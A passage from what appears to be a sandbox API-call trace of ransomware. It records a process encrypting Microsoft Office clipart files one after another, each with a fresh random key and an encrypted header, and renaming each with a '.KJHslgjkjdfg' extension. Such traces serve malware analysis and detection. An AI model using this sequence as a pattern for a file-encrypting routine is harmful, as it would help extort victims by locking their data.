(in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0249.276] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.276] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.276] GetProcessHeap () returned 0x2ef0000 [0249.276] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.276] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.276] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.276] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.277] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.277] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.277] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.277] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.277] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.277] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.277] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x78a, lpOverlapped=0x0) returned 1 [0249.277] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x790, dwBufLen=0x790 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x790) returned 1 [0249.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.278] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x790, lpOverlapped=0x0) returned 1 [0249.278] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.278] SetEndOfFile (hFile=0x130) returned 1 [0249.280] GetProcessHeap () returned 0x2ef0000 [0249.281] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.281] GetProcessHeap () returned 0x2ef0000 [0249.281] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf.kjhslgjkjdfg")) returned 1 [0249.282] CloseHandle (hObject=0x130) returned 1 [0249.282] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf461c100, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf461c100, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01462_.WMF", cAlternateFileName="")) returned 1 [0249.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.285] GetProcessHeap () returned 0x2ef0000 [0249.285] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.285] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.285] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0249.286] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.286] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.286] GetProcessHeap () returned 0x2ef0000 [0249.286] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.286] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.287] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.287] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.287] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.287] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.287] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.287] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.287] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.287] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.287] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.287] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.288] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x326, lpOverlapped=0x0) returned 1 [0249.288] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x330, dwBufLen=0x330 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x330) returned 1 [0249.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.288] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x330, lpOverlapped=0x0) returned 1 [0249.288] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.288] SetEndOfFile (hFile=0x130) returned 1 [0249.290] GetProcessHeap () returned 0x2ef0000 [0249.290] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.290] GetProcessHeap () returned 0x2ef0000 [0249.290] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf.kjhslgjkjdfg")) returned 1 [0249.292] CloseHandle (hObject=0x130) returned 1 [0249.292] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6e15600, ftCreationTime.dwHighDateTime=0x1bd4bf8, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6e15600, ftLastWriteTime.dwHighDateTime=0x1bd4bf8, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01491_.WMF", cAlternateFileName="")) returned 1 [0249.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.293] GetProcessHeap () returned 0x2ef0000 [0249.293] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.293] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.293] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.293] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.293] GetProcessHeap () returned 0x2ef0000 [0249.294] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.294] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.294] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.294] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.359] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.359] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.359] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.360] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.360] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.360] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.360] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x470, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x470, lpOverlapped=0x0) returned 1 [0249.360] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x470, dwBufLen=0x470 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x470) returned 1 [0249.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.360] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x470, lpOverlapped=0x0) returned 1 [0249.360] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.360] SetEndOfFile (hFile=0x130) returned 1 [0249.363] GetProcessHeap () returned 0x2ef0000 [0249.363] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.363] GetProcessHeap () returned 0x2ef0000 [0249.363] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf.kjhslgjkjdfg")) returned 1 [0249.365] CloseHandle (hObject=0x130) returned 1 [0249.365] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45a48d00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45a48d00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x13c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01563_.WMF", cAlternateFileName="")) returned 1 [0249.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.367] GetProcessHeap () returned 0x2ef0000 [0249.367] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.367] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.367] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0249.393] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.393] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.393] GetProcessHeap () returned 0x2ef0000 [0249.393] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.393] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.393] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.393] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.393] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.393] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.394] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.394] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.394] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.394] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.394] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.394] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x13c4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x13c4, lpOverlapped=0x0) returned 1 [0249.395] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13d0) returned 1 [0249.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.395] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x13d0, lpOverlapped=0x0) returned 1 [0249.395] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.396] SetEndOfFile (hFile=0x130) returned 1 [0249.399] GetProcessHeap () returned 0x2ef0000 [0249.399] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.399] GetProcessHeap () returned 0x2ef0000 [0249.399] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf.kjhslgjkjdfg")) returned 1 [0249.401] CloseHandle (hObject=0x130) returned 1 [0249.401] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f39c000, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f39c000, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SY01572_.WMF", cAlternateFileName="")) returned 1 [0249.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.407] GetProcessHeap () returned 0x2ef0000 [0249.407] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.407] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.407] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.410] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.410] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.410] GetProcessHeap () returned 0x2ef0000 [0249.410] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.410] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.410] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.410] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.410] WriteFile (in: 